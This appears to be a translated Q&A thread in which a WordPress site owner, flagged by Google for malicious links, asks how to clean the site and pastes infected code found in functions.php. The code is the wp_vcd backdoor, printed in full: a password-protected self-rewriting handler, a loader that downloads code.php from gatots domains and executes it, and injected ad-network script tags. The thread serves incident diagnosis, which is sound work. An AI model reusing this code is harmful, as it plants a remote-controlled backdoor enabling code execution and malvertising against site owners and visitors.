【发布时间】:2018-11-02 18:07:56
【问题描述】:
Google 通知我,我的网站上有恶意链接:
https://cobalten.com/apu.php?zoneid=2025634
https://go.oclasrv.com/apu.php?zoneid=2025634
https://wowreality.info/page.js?wm=gr
这是一个小型网站,由几页 3-4 https://explivia.com 组成。
我搜索了整个网站并查看了来自networks 标签的所有请求,但没有找到任何网站。
我浏览了https://sitecheck.sucuri.net/results/https/explivia.com的网站,好像有3个相关页面:
https://explivia.com/
https://explivia.com/404
https://explivia.com/contact
我查看了.htaccess 和一些php/html 文件,包括404.php,因为这个页面似乎受到了影响,但是找不到任何东西。
同样的问题https://productforums.google.com/forum/#!topic/webmasters/tQGGTdhc7D8
如何解决这个问题?
更新
我在functions.php的顶部找到了这段代码:
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4d742d51a12bb45b13f2b825bde37951'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{ if(preg_match_all('/\$tmpcontent = @file_get_contents("http://(.*)/code.php/i',$file,$matcholddomain)) {
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__)) {
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='ab616016c8af72054b117be51c745347';
if (($tmpcontent = @file_get_contents("http://www.gatots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.gatots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.gatots.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.gatots.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
查看wp-tmp.php,发现相关恶意js文件:
<script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=2025634"></script>
<script src="//fortpush.com/ntfc.php?p=2025636" data-cfasync="false" async></script>
【问题讨论】:
-
我相信这个问题应该在网站管理员下发布。 webmasters.stackexchange.com
-
查找不属于 base64 编码/解码的内容。这是隐藏这些东西的一种方式。
-
您使用 307 重定向而不是 301 的任何原因?例如,explivia.com 307-重定向到 https,通常我希望看到 301。在您链接的论坛主题中也提到了这一点,因此问题。
-
@hacksalot, 主机提供了一个用于重定向到 https 的插件
-
这是题外话,因为与编程无关,但处理此类情况的通用且唯一万无一失的方法是:清除整个服务器,不要尝试以任何方式重建/修复它,并且根据您之前将仔细检查的一些备份从头开始启动新服务器,以确保它们也不会被感染。
标签: javascript php wordpress security ssl